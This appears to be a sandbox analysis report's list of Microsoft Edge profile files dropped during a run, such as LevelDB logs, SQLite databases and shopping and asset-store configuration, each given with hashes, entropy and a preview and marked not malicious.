SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.2501805221864
Encrypted:	false
SSDEEP:	6:654RV81N723oH+Tcwtp3hBtB2KLlg54dzDVq2PN723oH+Tcwtp3hBWsIFUv:6E8aYebp3dFLC+hvVaYebp3eFUv
MD5:	33D86C34B7AF980F3656E234404DB930
SHA1:	8C43F67E8C8E131AB9972497F170C8683413B1A7
SHA-256:	7576E84874B933CF05B8CA4A6C97A6D0873DBFC4C579E5BE00175E1012C34D65
SHA-512:	64E4C47BE76276DFEADF889CB66AF0E64D09ED5E78E79981C50FE91DCD1D019ED8E091A7DB40918D6E947251B4E92A60FD060317030CA90943031AE45018DA88
Malicious:	false
Preview:	2024/10/30-06:45:32.547 1de0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-06:45:32.589 1de0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222888221405192
Encrypted:	false
SSDEEP:	24576:IbPMZpVqfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVqfx2mjF
MD5:	15A1B6C5BA1E9DCA8DCCFF162CE0A331
SHA1:	F6CB10BA6F30FDD9CAB4BC3EC00856C2D118408C
SHA-256:	594F05C499C9972D32AEFAA1100298B056CDE6D535F9435F56E4C0C703B3C152
SHA-512:	4FA0BE29E008D10D4F0F21AB62E0FB93E00164A0F321F45B11A5EB4D6A9BFF9EA6AE81D6C45DB60DB9F25D8928291E191839E51A349CAF9F36A97BA6C10BD587
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.049573134816144
Encrypted:	false
SSDEEP:	6:654q2PN723oH+Tcwt9Eh1tIFUt8v53Zmw+v5RkwON723oH+Tcwt9Eh15LJ:6KvVaYeb9Eh16FUt8vl/+vr5OaYeb9Er
MD5:	17D142606CBB43F0B15DA03785D4F9F4
SHA1:	BC3B323814D98F1E2F414AAC1E65D9DF23366F84
SHA-256:	0C1951DD8BBEAB24882116145E8861372AA3A5E97653FFE0AD4C402BDF829FDD
SHA-512:	18F6D608FEAC17EAE78F5FC4F709F0B54B392207410FEBC21E7964C873243EC0CDBA925C56A6051ED9229511A0A1FF822E1EEC086B876855966E17D770A5056D
Malicious:	false
Preview:	2024/10/30-06:45:32.260 2004 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-06:45:32.262 2004 Recovering log #3.2024/10/30-06:45:32.266 2004 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.049573134816144
Encrypted:	false
SSDEEP:	6:654q2PN723oH+Tcwt9Eh1tIFUt8v53Zmw+v5RkwON723oH+Tcwt9Eh15LJ:6KvVaYeb9Eh16FUt8vl/+vr5OaYeb9Er
MD5:	17D142606CBB43F0B15DA03785D4F9F4
SHA1:	BC3B323814D98F1E2F414AAC1E65D9DF23366F84
SHA-256:	0C1951DD8BBEAB24882116145E8861372AA3A5E97653FFE0AD4C402BDF829FDD
SHA-512:	18F6D608FEAC17EAE78F5FC4F709F0B54B392207410FEBC21E7964C873243EC0CDBA925C56A6051ED9229511A0A1FF822E1EEC086B876855966E17D770A5056D
Malicious:	false
Preview:	2024/10/30-06:45:32.260 2004 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-06:45:32.262 2004 Recovering log #3.2024/10/30-06:45:32.266 2004 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4624466314447133
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBun6d:TouQq3qh7z3bY2LNW9WMcUvBus
MD5:	124E6366A164C4E833BB90DFB926A382
SHA1:	15DFE156D3EB3F074C77D02B4BFEABECB1070C00
SHA-256:	12C50BE3D12A7B9265935151FB1564F550F5FE824EEFB10FA76F57BD8728BA40
SHA-512:	8A65E7BC940D5F554705825AB475CD20944BC513FB1D71E74E50CF14D340A9CA1D2B55D596CD893C42CE6C41F574A52BA758DC6C9A648169CD04A40BC5F4C2B7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.209414235086906
Encrypted:	false
SSDEEP:	6:65cQL+q2PN723oH+TcwtnG2tMsIFUt8v5h0SG1Zmw+v5h0SQLVkwON723oH+Tcwj:6LyvVaYebn9GFUt8v/Q/+v/gR5OaYebB
MD5:	92FE849D593A73E87E2D786931654EFA
SHA1:	B61A3ADA1EB1A9BAB8AC61C56E5A4E3555872409
SHA-256:	E797BB96ED8843CA9BBE624CE06D53A934E4608E88471D05058CC33CAD9002B1
SHA-512:	D23225272604886F802323BB1EAB77F66C58488F64AFB433A80727209A22E0DA9DF2584D5A3F936CB4EB1C35D87E15939ABBB7CA3471E6B375CCB495A74F9739
Malicious:	false
Preview:	2024/10/30-06:45:27.134 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-06:45:27.135 1da8 Recovering log #3.2024/10/30-06:45:27.135 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.209414235086906
Encrypted:	false
SSDEEP:	6:65cQL+q2PN723oH+TcwtnG2tMsIFUt8v5h0SG1Zmw+v5h0SQLVkwON723oH+Tcwj:6LyvVaYebn9GFUt8v/Q/+v/gR5OaYebB
MD5:	92FE849D593A73E87E2D786931654EFA
SHA1:	B61A3ADA1EB1A9BAB8AC61C56E5A4E3555872409
SHA-256:	E797BB96ED8843CA9BBE624CE06D53A934E4608E88471D05058CC33CAD9002B1
SHA-512:	D23225272604886F802323BB1EAB77F66C58488F64AFB433A80727209A22E0DA9DF2584D5A3F936CB4EB1C35D87E15939ABBB7CA3471E6B375CCB495A74F9739
Malicious:	false
Preview:	2024/10/30-06:45:27.134 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-06:45:27.135 1da8 Recovering log #3.2024/10/30-06:45:27.135 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6141299293775128
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jCJTpO8WmL:TO8D4jJ/6Up+C
MD5:	D6966B3A3772CE8E8E49ABE69217AFB6
SHA1:	769A6FA9C44E325DB88224DBB68F229D105C83E5
SHA-256:	6CEFA9469126A0AF5D8ACED879C89029E2FFC48DF6732B6761BA0EBF945AE08A
SHA-512:	ACD3DD1701EC82B3CB1D62A55F0C93CE6A3C892FB30BC5265F4D7D4754C675BE20DC6188A9B8655B577211621CCEE0AD13FE16BAF07ACE02FEAA6AF365DCDD87
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354136852672337
Encrypted:	false
SSDEEP:	6144:OA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:OFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	B51E40827C3E61346EEB0291EBC89AC5
SHA1:	FCF5C3B14BCDB7456AEB49F0BDC4AEDF91F37140
SHA-256:	70BB7F60F480DFF3C1E66769D5999C53B65F869F284B1B79D1389A408B2FA9F1
SHA-512:	A14A0382B865DA80722D3EADB7504285496B8AB348CB83C9C989DBC82C5DFB72B46075CB57FA51D7C4FD88DDE8E38482964C6E29B3ADFC697099CE6A22FA4398
Malicious:	false
Preview:	...m.................DB_VERSION.1.g..q...............&QUERY_TIMESTAMP:domains_config_gz2...13374758734069768..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.113613844331672
Encrypted:	false
SSDEEP:	6:65+wh1N723oH+Tcwtk2WwnvB2KLlg540ZL+q2PN723oH+Tcwtk2WwnvIFUv:6QwhaYebkxwnvFLCjR+vVaYebkxwnQF2
MD5:	7CB44BD579F75D1183C4430A1E6B9710
SHA1:	7604FD15955D58321EF5E92AA98B3881057B0AE7
SHA-256:	5FC5FDC5CB9D4FCF9DD9E0B86E353D35CA603B8BC7246EED62859F70DB24D661
SHA-512:	C71D0FDF6489F01FD213CFEBD9933B409C7E0E5487914973D9787E3C3337596FCE69AEA04123BB509C255942673DC8047DB602F4D27F3420384B9D3CCC450087
Malicious:	false
Preview:	2024/10/30-06:45:32.330 203c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-06:45:32.512 203c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613536975733
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rk:C1gAg1zfvs
MD5:	E0A7BAA1A5575B91182474A2CAD03511
SHA1:	55B1FB005A8EAA3E1E541FF44783829F1D1BA146
SHA-256:	20610C5C51B1AFC12FBA0412DA6FAB667B67B99A96C2F0C76AC5A46F597F7DDF
SHA-512:	CC19C3DC0484EB70627485B259DF35C7F7F31AAA0F585408D1C850BD70CF7064D68736A54C84DCF18862126246A9654D954787DFFBE410A093B2CD1797CA7CF3
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.197031004406673
Encrypted:	false
SSDEEP:	6:65gQL+q2PN723oH+Tcwt8aPrqIFUt8v5VG1Zmw+v5VQLVkwON723oH+Tcwt8amLJ:6XyvVaYebL3FUt8vE/+vkR5OaYebQJ
MD5:	707CBE3B212E0203FC4DAC96022A47A7
SHA1:	BAE6D3A2A4AD716B22FE547951769C426C2E2E33
SHA-256:	4EB9D01921BA7A1B18DBA5BBF2DE6E3E4E208FE3E562DDAD07D4030625054371
SHA-512:	203A8AEE58CF399FF5D8627B2E5EE1206CD66BDDBD913C74E36CBEA18CEEEF85F5091B6F1D3BDC091A7B0E75F49DEBCEE58FDFEE8B7E47AF4DE240DC1A6B5AB5
Malicious:	false
Preview:	2024/10/30-06:45:27.138 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-06:45:27.139 1da8 Recovering log #3.2024/10/30-06:45:27.139 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.197031004406673
Encrypted:	false
SSDEEP:	6:65gQL+q2PN723oH+Tcwt8aPrqIFUt8v5VG1Zmw+v5VQLVkwON723oH+Tcwt8amLJ:6XyvVaYebL3FUt8vE/+vkR5OaYebQJ
MD5:	707CBE3B212E0203FC4DAC96022A47A7
SHA1:	BAE6D3A2A4AD716B22FE547951769C426C2E2E33
SHA-256:	4EB9D01921BA7A1B18DBA5BBF2DE6E3E4E208FE3E562DDAD07D4030625054371
SHA-512:	203A8AEE58CF399FF5D8627B2E5EE1206CD66BDDBD913C74E36CBEA18CEEEF85F5091B6F1D3BDC091A7B0E75F49DEBCEE58FDFEE8B7E47AF4DE240DC1A6B5AB5
Malicious:	false
Preview:	2024/10/30-06:45:27.138 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/30-06:45:27.139 1da8 Recovering log #3.2024/10/30-06:45:27.139 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.177624230463951
Encrypted:	false
SSDEEP:	6:65DuB3QL+q2PN723oH+Tcwt865IFUt8v5RyQG1Zmw+v5RyQQLVkwON723oH+Tcwx:6JuBgyvVaYeb/WFUt8vy/+vaR5OaYebD
MD5:	6E78B9652337F72978581ED34E800CBC
SHA1:	CD0F94DC0B288D1E5926218B35748884AC5831BF
SHA-256:	ED9288D59DE563C22709D6EB71BB3C879AC14D54A823B560441E1C943FF5D356
SHA-512:	2F0DCA1A3D501755EA7256ACC25FDF58554DA3FAE6F8F23DD86FF0E484FD0D73B1CACB4E634C5CCE068C02EA603ED50DDF93AB50E414F33CD79B81A71208042D
Malicious:	false
